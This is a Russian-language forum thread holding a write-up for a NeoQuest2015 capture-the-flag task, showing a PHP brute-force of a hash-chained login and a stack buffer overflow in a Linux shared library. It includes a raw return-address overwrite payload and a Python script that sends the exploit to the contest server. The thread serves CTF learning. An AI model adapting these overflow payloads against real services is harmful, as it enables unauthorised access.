+ Reply to Thread
Results 1 to 2 of 2

Thread: Решение задания Дружба и братство NeoQuest2015

  1. #1

    Default Решение задания Дружба и братство NeoQuest2015

    Задание:

    Внезапно наступило затишье. Никто мне не присылал никаких странных файлов, мой телефон не «сходил с ума», необычных встреч не происходило. Я начал всерьез волноваться, что либо надо мной подшутили, либо я не замечаю чего-то очевидного и, в конце концов, провалю испытание. Со всеми этими масонскими тайнами я совсем потерял покой и сон. На работе коллеги отмечали, что я выгляжу уставшим, интересовались, не заболел ли я. Отговаривался типичной питерской болезнью – простудой и нехваткой солнца. Но лучшего друга мне провести не удалось.

    Он, как и я, увлекался информационной безопасностью, в чем-то разделял мои увлечения масонами, был просто кладезью знаний и надежным человеком. Беседуя с ним, я думал о том, что если он не получил приглашения в Братство масонов, то это очень глупо с их стороны! Чем больше я об этом думал, тем обиднее мне становилось за друга. В итоге я всё ему рассказал.

    Друг долго молчал, а затем негромко сказал: «Знаешь, а ведь я к тебе не просто так пришел». Оказалось, что у него на ноутбуке непонятным образом появилась некая программа login.exe. Что она делает, и откуда она взялась, друг так и не смог понять и решил обратиться за помощью ко мне. Что ж, сказанное мной в некотором роде проливало свет на внезапное появление непонятной программы.

    За окном было темно, в чашках на столе остывал чай. Но пока что всё, что нам удалось достать – это тот самый login.exe и файл.so

    Решение:

    Клиентское приложение [login.exe].

    Первым этапом надо найти логин:



    Это .NET приложение, открываем через .NET Reflector.VSPro.v7.3.0.18 и смотрим код. Интересные участки:

    Code:
    public Form1()
    {
        this.InitializeComponent();
        this.host = "79.175.2.85";
        this.port = 0x1f90;
        this.hashes = new string[] { 
    "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", 
    "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", 
    "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", 
    "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", 
    "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", 
    "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", 
    "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", 
    "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", 
    "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", 
    "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", 
    "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1"
         };
    }
    Code:
    private void textBox1_TextChanged(object sender, EventArgs e)
    {
        string text = this.textBox1.Text;
        if (text.Length == 0)
        {
            this.label1.Text = "Enter you login";
        }
        else if (!this.hashes.Contains<string>(this.GetHashString(text)))
        {
            this.label1.Text = "Incorrect login!";
        }
        else if (text.Length == 0x20)
        {
            this.label1.Text = "You have successfully logged in!";
            this.groupBox1.Enabled = false;
            this.tcpSocket = new TcpClient(this.host, this.port);
            this.groupBox2.Visible = true;
            this.timer1.Start();
        }
        else
        {
            this.label1.Text = "Enter next character of your login";
        }
    }
    Наш логин должен быть длиной в 32 символа и должен быть равен какому-то хэшу из this.hases. Пишем небольшой брут для логина:

    Code:
    $hashes = array('dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af',
    '4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c',
    '9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab',
    '4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3',
    '172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2',
    '77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef',
    'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b',
    '83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2',
    'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4',
    '138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25',
    '3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073',
    'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491',
    'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55',
    'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52',
    'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265',
    '7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1');
    
    $alphabet = '0123456789abcdef';
    $alp_len = strlen($alphabet);
    $hash_len = count($hashes);
    $string = '';
    $rrrr = '';
    for($ss = 0; $ss < 32; $ss++) {
      for($j = 0; $j < $alp_len; $j++) {
        $rrrr = $string . $alphabet[$j];
        $md5_hash = md5($rrrr);
        #echo $md5_hash."\n";
        for($k = 0; $k < $hash_len; $k++) {
          if ($md5_hash == $hashes[$k]) {
            echo $rrrr  . "\n";                                
              $string = $rrrr;
          }
        }
      }
    }
    Code:
    Вывод брута:
    2
    2b
    2b6
    2b63
    2b638
    2b638b
    2b638b6
    2b638b6d
    2b638b6da
    2b638b6da5
    2b638b6da52
    2b638b6da52b
    2b638b6da52bf
    2b638b6da52bfa
    2b638b6da52bfad
    2b638b6da52bfad2
    2b638b6da52bfad2d
    2b638b6da52bfad2d9
    2b638b6da52bfad2d99
    2b638b6da52bfad2d99d
    2b638b6da52bfad2d99db
    2b638b6da52bfad2d99dba
    2b638b6da52bfad2d99dbab
    2b638b6da52bfad2d99dbab4
    2b638b6da52bfad2d99dbab40
    2b638b6da52bfad2d99dbab401
    2b638b6da52bfad2d99dbab4018
    2b638b6da52bfad2d99dbab40182
    2b638b6da52bfad2d99dbab401823
    2b638b6da52bfad2d99dbab4018237
    2b638b6da52bfad2d99dbab4018237d
    2b638b6da52bfad2d99dbab4018237df
    Первый флаг равен 2b638b6da52bfad2d99dbab4018237df.

    С клиентской частью разобрались:



    Серверное приложение [libtest.so]:

    libtest.so - это ELF64 for x86-64 (Shared object).

    Сначала нам надо обойти авторизацию для получения второго флага.

    Воспользуемся дизассемблером IDA pro, и проанализируем функцию StartTest:



    Функция выделяет 32 байта под локальные переменные, читает пароль из файла /home/srv/pass.txt b и записывает 16 байт (во вторую половину стэка). Затем программа читает пароль клиента и может записать 100 байт, в начало стэка и позволяет манипулировать данными стэка.
    Найдем участок кода, где проверяется пароль:



    За проверку отвечает функция strcmp(server_pass, user_pass).

    Аттака заключается в перезаписи пароля "server_pass" в стэке на "user_pass".



    Второй флаг равен 3ed54ac12757f4c2b4fabd64d41de42d.

    Получение третьего флага:

    За получение отвечает функция GetFlag:



    Чтобы получить флаг, надо в стэке переписать адрес возврата и вычислить адрес функции GetFlag.

    При отправке пароля длиной больше 16 символов получим отладочную информацию, которая поможет вычислить адрес:

    b'\nbacktrace()\n/home/srv/libtest.so(PrintBacktrace+0x29) [0x7f62f8178c8a]\n/home/srv/libtest.so(StartTest+0xd0) [0x7f62f8178dd4]\nsrv.bin() [0x4007f9]\n[0x7f62f8b63020]\n\nEnter password: '

    Сначала вычислим размер функции GetFlag. Из рисунка 6.jpg берем адреса PrintBacktrace[0xC61] - GetFlag[0xBF5] = 0x6C.

    Вычисляем адрес PrintBacktrace из отладочной информации 0x7f62f8178c8a - 0x29 = 0x7F62F8178C61.

    Адрес GetFlag = PrintBacktrace[0x7F62F8178C61] - 0x6C = 0x7F62F8178BF5.

    Осталось собрать полезную нагрузку: 32 байта под локальные переменны функции + EBP + адрес GetFlag

    Code:
    PAYLOAD = b'\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\xF5\x8B\x17\xF8\x62\x7F\x00\x00\x0A'


    Третий флаг равен 1946fcc08e026023fd53f935769c7f52.
    Last edited by MarcusLarrson; 25-03-2015 at 02:23.

  2. 5 пользователя(ей) сказали cпасибо:
    0wl (24-03-2015) Dark Koder (24-03-2015) klaus (23-03-2015) root (24-03-2015) ximera (23-03-2015)
  3. #2

    Default Re: Решение задания Дружба и братство NeoQuest2015

    Мой вариант для 2го и 3го флагов
    Code:
    import re
     
    q = lambda x: struct.pack("Q", x)
    Q = lambda x: struct.unpack("I", x)[0]
     
    s = socket.create_connection(("79.175.2.85", 0x1f90))
    #print r_until("[ ]")
    print s.recv(1024)
    s.send("0123456789abcdef0123456789abcdef\n")
    addr = s.recv(1024)
    print addr
    ss = re.search('/home/srv/libtest\.so\(PrintBacktrace\+0x29\) \[([0-9a-fx]+)\]', addr)
    print ss.group(1)
    base = ss.group(1)[:-3]+'bf5'
    print base
    payload = "123456789abcdef\x00123456789abcdef\x00\x00\x00\x00\x00\x00\x00\x00\x00"+q(int(base,16))
    s.send(payload+"\n")
    print s.recv(1024)
    print s.recv(1024)

  4. 6 пользователя(ей) сказали cпасибо:
    0wl (24-03-2015) Dark Koder (24-03-2015) MarcusLarrson (23-03-2015) klaus (26-03-2015) root (24-03-2015) ximera (23-03-2015)
+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:27
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org